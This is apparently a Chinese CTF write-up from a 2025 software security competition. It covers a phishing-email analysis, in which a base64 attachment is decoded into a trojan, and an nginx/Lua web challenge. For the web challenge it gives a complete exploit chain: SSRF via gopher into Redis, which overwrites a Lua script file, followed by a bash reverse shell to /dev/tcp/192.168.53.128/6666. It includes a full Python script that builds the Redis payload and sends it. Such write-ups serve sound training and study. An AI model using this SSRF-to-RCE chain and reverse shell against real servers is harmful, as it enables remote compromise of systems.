软件安全赛


2025/1/5打了软件安全赛,针对个人来讲难度还是很大的,所以把出的两个题分析一下。

1. 钓鱼邮件分析

邮件解密,它是所有的都用了base编码 解码 有用的只有下面的正文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<div class="qmbox"><p style="font-family: -apple-system, BlinkMacSystemFont, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, sans-serif; font-size: 10.5pt; color: rgb(46, 48, 51);">今天是你的24岁生日,祝你生日快乐</p><div xmail-signature=""><xm-signature></xm-signature><p></p></div></div>


X-QQ-XMRINFO: Mp0Kj//9VHAxr69bL5MkOOs=
X-QQ-XMAILINFO: Mi/i+wq2NsJqOjK39baWcJF141jv20ysu7uvjsdVZOQPyBXZKFBBJqrPZCTiKJ
d7wdGsfbzivUI9F/OZZvBm1nmIa5oNSrj2hkORK7/+5NZPP0GrlCdUnmiEIUxIB4eEIzPsyVFl5gO
Xf6wdCD4iXuYlexjoTN90TNSwJIqMt8ToLR8AETY5sAwIW7kggpoQxoi1jcsS/xEOpLVhrCDSLktm
P/95iJcEPLeFb1Bj78s8aljWgWHWNVeyVxoKt/BE9DghasuyQjiOzzl4Lg/UnJM3ALsbAXFJyLW4Q
/6PKnwZS/VNwNUVhGKFDPU5aWEFSVufu1p5EVl4J3cth2I7LZ/kT8fYox8teauDeml/1f9jQNoGx0
2mufT0LbYCncO26MxVRZ5Hb+WK1jcHC3HRzOgy+t695gzOa6iVFTinruQrT1EzEU4p7keQ0Z2uat8
Ide9mSRWQ0dg0xrqwYXdd19qcfVuVBbi5KC/tAh4OoTjxYh/JCD2gQD0h3fBstrUhK4UISpinTFtB
zw+Rt5PHOk+KZFufpCYPRjwnFJ7bdFLD76shuYRegxAcwpX7EbwLDTOQ1vSQgTivo6K0Y+620ovSp
dX/rORvapshvqd41rtXWHd/QAQ3t1A5a/IpO/n1sVJWwSz9Z864P1SJJ3QdgXj3Dz0N6Ch4HujG+M
bh6XhF4jJRUdtXCCr+TH3TN8KjUz2XUiBccfDD/HPgaac5KUVt+xlvrYBUivd/4iPOyy9y6a0K8Pg
/xm+Hhec+Bo/nfEndClgLY116fdOmD/3T7QCCmmL1pDfSJe9pnht9mVI7ySS4YyIuANf1La/vUDxl
kw0beVN9ooCvf9NJGixdVbtdN2RVm+10Qpl1ErR2dyrhMpg8vVzc5ztc/CayChAHmJNpb/MacZSbA
392cIqk05wGYxVuq5ETGzL0o9tlik/quWMrHJnPZeVWY2Zl4JvHDUPJYkldGzXO7h8qmcNev9Pm5z
4nEsdRYqRGJt/nmncvZv3y7Stt7Shn5/LEJ0OLA9hF3uh6y5m9cUa7zoTjMrPVjCdNJVn8ZLFnZT8
VVh/0T/zB40wTE76YUO/wTBs1sg==
From: "=?utf-8?B?QWxpY2Nl?=" <Alice@qq.com>
To: "=?utf-8?B?Qm9i?=" <Bob@qq.com>
Subject: =?utf-8?B?55Sf5pel5b+r5LmQ?=
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_67318E01_3D423680_3EAF4BE3"
Content-Transfer-Encoding: 8Bit
Date: Mon, 11 Nov 2024 12:54:24 +0800
X-Priority: 3
Message-ID: <tencent_5926819C8C20A292B26A361A43C2F84BEA09@qq.com>
X-QQ-MIME: TCMime 1.0 by Tencent
X-Mailer: QQMail 2.x
X-QQ-Mailer: QQMail 2.x
X-QQ-mid: xmseza31-0t1731300864t1gxcwyus

This is a multi-part message in MIME format.

------=_NextPart_67318E01_3D423680_3EAF4BE3
Content-Type: multipart/alternative;
boundary="----=_NextPart_67318E01_3D423680_45B6667D";

------=_NextPart_67318E01_3D423680_45B6667D
Content-Type: text/plain;
charset="utf-8"
Content-Transfer-Encoding: base64

5LuK5aSp5piv5L2g55qEMjTlsoHnlJ/ml6XvvIznpZ3kvaDnlJ/ml6Xlv6vkuZA=
今天是你的24岁生日,祝你生日快乐

------=_NextPart_67318E01_3D423680_45B6667D
Content-Type: text/html;
charset="utf-8"
Content-Transfer-Encoding: base64

PGRpdiBjbGFzcz0icW1ib3giPjxwIHN0eWxlPSJmb250LWZhbWlseTogLWFwcGxlLXN5c3Rl
bSwgQmxpbmtNYWNTeXN0ZW1Gb250LCAmcXVvdDtQaW5nRmFuZyBTQyZxdW90OywgJnF1b3Q7
TWljcm9zb2Z0IFlhSGVpJnF1b3Q7LCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDEwLjVwdDsg
Y29sb3I6IHJnYig0NiwgNDgsIDUxKTsiPuS7iuWkqeaYr+S9oOeahDI05bKB55Sf5pel77yM
56Wd5L2g55Sf5pel5b+r5LmQPC9wPjxkaXYgeG1haWwtc2lnbmF0dXJlPSIiPjx4bS1zaWdu
YXR1cmU+PC94bS1zaWduYXR1cmU+PHA+PC9wPjwvZGl2PjwvZGl2Pg==



------=_NextPart_67318E01_3D423680_45B6667D--

------=_NextPart_67318E01_3D423680_3EAF4BE3
Content-Type: application/octet-stream;
charset="utf-8";
name="=?utf-8?B?55Sf5pel56S854mpLnppcA==?="
Content-Disposition: attachment; filename="=?utf-8?B?55Sf5pel56S854mpLnppcA==?="
Content-Transfer-Encoding: base64

------=_NextPart_67318E01_3D423680_3EAF4BE3--

解码

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64

def decodebase():
with open("mail.txt","r") as file:
message=file.read()
message=message.replace("\n","")
# print(message)
demessage=base64.b64decode(message)
with open("1.zip","wb") as file1:
file1.write(demessage)

if __name__=="__main__":
decodebase()

拿到zip包解压 密码直接爆破

image.png

打开就发现了木马文件沙箱直接分析。

image.png
image.png
分析到ip 和端口

2. web1

拿到docker,分析出这个利用nginx 和lua进行搭建的web站点。先看nginx配置信息

1
2
3
4
5
6
7
8
9
location / {
root html;
index index.html;
}

location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}

可以看到两个路由,一个是由index.html处理/ 另外一个是由main.lua处理/visit于是首先分析
index.html

2.1 index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>URL Visitor</title>
</head>
<body>
<div class="container">
<h1>Visit a Website</h1>
<input type="text" id="urlInput" placeholder="Enter a URL">
<button onclick="visitUrl()">Visit</button>
<!-- 触发函数 进行url访问-->
<iframe id="urlFrame" src=""></iframe>
</div>

<script>
function visitUrl() {
var url = document.getElementById('urlInput').value;
var iframe = document.getElementById('urlFrame');
<!-- 相当于src 中的url换成了我们的拼接的get传递参数的值-->
iframe.src = '/visit?url=' + encodeURIComponent(url);
}
</script>
</body>
</html>

因此就可以看出来还是在/visit路由上在做文章,而/visit通过nginx的配置文件可以看出。/visit的路由是由main.lua进行处理的。

2.2 main.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
-- 打开一个文件并且将文件内容读出来
local function read_file(filename)
local file = io.open(filename, "r")
if not file then
print("Error: Could not open file " .. filename)
return nil
end

local content = file:read("*a")
file:close()
return content
end

-- 执行对应的lua 代码
local function execute_lua_code(script_content)
-- 先找到 ##LUA_START##(.-)##LUA_END## 这两个特征内部的内容
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
if lua_code then
-- 加载 代码
local chunk, err = load(lua_code)
if chunk then
-- 执行代码
local success, result = pcall(chunk)
if not success then
print("Error executing Lua code: ", result)
end
else
print("Error loading Lua code: ", err)
end
else
print("Error: No valid Lua code block found.")
end
end

-- 主函数 打开脚本文件读取出内容然后传递给执行函数
local function main()
local filename = "/scripts/visit.script"
local script_content = read_file(filename)
if script_content then
execute_lua_code(script_content)
end
end

main()

可以看出内部主要是执行了 visit.script 这才是核心

2.3 visit.script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
##LUA_START##
-- 这就是刚才的参数传递的参数
local curl = require("cURL")
local redis = require("resty.redis")

ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url

if not url then
ngx.say("URL parameter is missing!")
return
end

-- 开始连接redis
local red = redis:new()
red:set_timeout(1000)

local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
ngx.say("Failed to connect to Redis: ", err)
return
end

-- 访问对应的 url 拿到结果 这其实只是个查看缓存的操作。
-- 查看是否之前 有这个缓存
local res, err = red:get(url)
if res and res ~= ngx.null then
ngx.say(res)
return
end

-- 连接
local c = curl.easy {
url = url,
timeout = 5,
connecttimeout = 5
}

local response_body = {}

-- 连接远程 并且 存储响应
c:setopt_writefunction(table.insert, response_body)

local ok, err = pcall(c.perform, c)

if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
return
end

c:close()

-- 存储响应到redis
local response_str = table.concat(response_body)

local ok, err = red:setex(url, 3600, response_str)
if not ok then
ngx.say("Failed to save response in Redis: ", err)
return
end

ngx.say(response_str)
##LUA_END##
2.4 分析

目前已经很明显了,其实就是url请求,很自然就能想到ssrf 然后利用ssrf打redis 。经过了多次尝试发现 无论是ssh ,定时任务都无法成功,自然想到利用木马,但是我们又写不成php马。要写lua马。但是lua的路由已经固定了,我们就去重写main.lua 但是尝试失败,因为在redis写马时候我们会有很多的乱码版本信息。严重影响了lua的解析。

但是我们发现 在main.lua有这样一句话。我们完全可以重写visit.script。然后使用这个match的特征匹配就可以完全解决乱码的问题。使得我们的结果成功解析。

1
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
2.5 exp

visit.script 重写内容

先测试一下能否正常写入lua代码并且执行。

1
2
3
##LUA_START##
ngx.say("hello")
##LUA_END##

image.png
可以看出我们已经绕过了这个乱码带来的影响,直接可以包含lua代码并且加载执行。但是目前有个问题,我发现我们的内容长度不可以太长。我始终找不到对应的原因。可能是系统的问题跟打定时任务一样,centos 和ubuntu 不一样。

1
2
3
##LUA_START##
os.execute("/bin/bash -i >& /dev/tcp/192.168.53.128/6666 0<&")
##LUA_END##
2.6 生成payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = """\n\n##LUA_START##
os.execute("/bin/bash -i >& /dev/tcp/192.168.53.128/6666 0>&1")
##LUA_END##\n\n"""
filename = "visit.script"
path = "/scripts"
# 这个相当于可以添加密码认证 这边直接输入账号和密码
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
# 最后一个url 编码是因为get传递参数 这个是可选的需要看前端的写法
#print(payload)
#print(urllib.parse.quote(payload))
import requests
res=requests.get("http://192.168.53.128/visit?url="+urllib.parse.quote(payload)).text
print(res)

image.png


文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录